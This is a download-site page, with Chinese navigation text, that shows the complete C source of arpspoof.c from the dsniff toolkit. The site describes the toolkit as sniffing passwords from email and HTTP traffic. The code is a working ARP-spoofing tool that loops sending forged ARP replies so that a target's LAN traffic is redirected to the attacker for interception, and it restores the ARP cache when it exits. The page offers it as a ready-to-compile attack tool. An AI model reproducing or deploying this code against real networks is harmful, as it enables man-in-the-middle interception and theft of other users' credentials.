⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 arpspoof.c

📁 一个网络工具包,可以嗅探email和http等数据包中的密码等信息.注意要先把libnet-1.0.2a.tar.gz和 libnids-1.16.tar.gz装上,不然会因为缺少库函数而无法编译和安
💻 C
字号:
/*  arpspoof.c  Redirect packets from a target host (or from all hosts) intended for  another host on the LAN to ourselves.    Copyright (c) 1999 Dug Song <dugsong@monkey.org>  $Id: arpspoof.c,v 1.3 2000/09/21 03:04:41 dugsong Exp $*/#include "config.h"#include <sys/types.h>#include <sys/param.h>#include <stdio.h>#include <string.h>#include <signal.h>#include <err.h>#include <libnet.h>#include <pcap.h>#include "version.h"extern char *ether_ntoa(struct ether_addr *);extern int arp_cache_lookup(in_addr_t, struct ether_addr *);static struct libnet_link_int *llif;static struct ether_addr spoof_mac, target_mac;static in_addr_t spoof_ip, target_ip;static char *intf;voidusage(void){	fprintf(stderr, "Version: " VERSION "\n"		"Usage: arpspoof [-i interface] [-t target] host\n");	exit(1);}intarp_send(struct libnet_link_int *llif, char *dev,	 int op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa){	char ebuf[128];	u_char pkt[60];		if (sha == NULL &&	    (sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf)) == NULL) {		return (-1);	}	if (spa == 0) {		if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0)			return (-1);		spa = htonl(spa); /* XXX */	}	if (tha == NULL)		tha = "\xff\xff\xff\xff\xff\xff";		libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt);		libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4,			 op, sha, (u_char *)&spa, tha, (u_char *)&tpa,			 NULL, 0, pkt + ETH_H);	fprintf(stderr, "%s ",		ether_ntoa((struct ether_addr *)sha));	if (op == ARPOP_REQUEST) {		fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",			ether_ntoa((struct ether_addr *)tha),			libnet_host_lookup(tpa, 0),			libnet_host_lookup(spa, 0));	}	else {		fprintf(stderr, "%s 0806 42: arp reply %s is-at ",			ether_ntoa((struct ether_addr *)tha),			libnet_host_lookup(spa, 0));		fprintf(stderr, "%s\n",			ether_ntoa((struct ether_addr *)sha));	}	return (libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) == sizeof(pkt));}#ifdef __linux__intarp_force(in_addr_t dst){	struct sockaddr_in sin;	int i, fd;		if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)		return (0);	memset(&sin, 0, sizeof(sin));	sin.sin_family = AF_INET;	sin.sin_addr.s_addr = dst;	sin.sin_port = htons(67);		i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin));		close(fd);		return (i == 0);}#endifintarp_find(in_addr_t ip, struct ether_addr *mac){	int i = 0;	do {		if (arp_cache_lookup(ip, mac) == 0)			return (1);#ifdef __linux__		/* XXX - force the kernel to arp. feh. */		arp_force(ip);#else		arp_send(llif, intf, ARPOP_REQUEST, NULL, 0, NULL, ip);#endif		sleep(1);	}	while (i++ < 3);	return (0);}voidcleanup(int sig){	int i;		if (arp_find(spoof_ip, &spoof_mac)) {		for (i = 0; i < 3; i++) {			/* XXX - on BSD, requires ETHERSPOOF kernel. */			arp_send(llif, intf, ARPOP_REPLY,				 (u_char *)&spoof_mac, spoof_ip,				 (target_ip ? (u_char *)&target_mac : NULL),				 target_ip);			sleep(1);		}	}	exit(0);}intmain(int argc, char *argv[]){	int c;	char ebuf[PCAP_ERRBUF_SIZE];		intf = NULL;	spoof_ip = target_ip = 0;		while ((c = getopt(argc, argv, "i:t:h?V")) != -1) {		switch (c) {		case 'i':			intf = optarg;			break;		case 't':			if ((target_ip = libnet_name_resolve(optarg, 1)) == -1)				usage();			break;		default:			usage();		}	}	argc -= optind;	argv += optind;		if (argc != 1)		usage();		if ((spoof_ip = libnet_name_resolve(argv[0], 1)) == -1)		usage();		if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL)		errx(1, "%s", ebuf);		if ((llif = libnet_open_link_interface(intf, ebuf)) == 0)		errx(1, "%s", ebuf);		if (target_ip != 0 && !arp_find(target_ip, &target_mac))		errx(1, "couldn't arp for host %s",		     libnet_host_lookup(target_ip, 0));		signal(SIGHUP, cleanup);	signal(SIGINT, cleanup);	signal(SIGTERM, cleanup);		for (;;) {		arp_send(llif, intf, ARPOP_REPLY, NULL, spoof_ip,			 (target_ip ? (u_char *)&target_mac : NULL),			 target_ip);		sleep(2);	}	/* NOTREACHED */		exit(0);}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -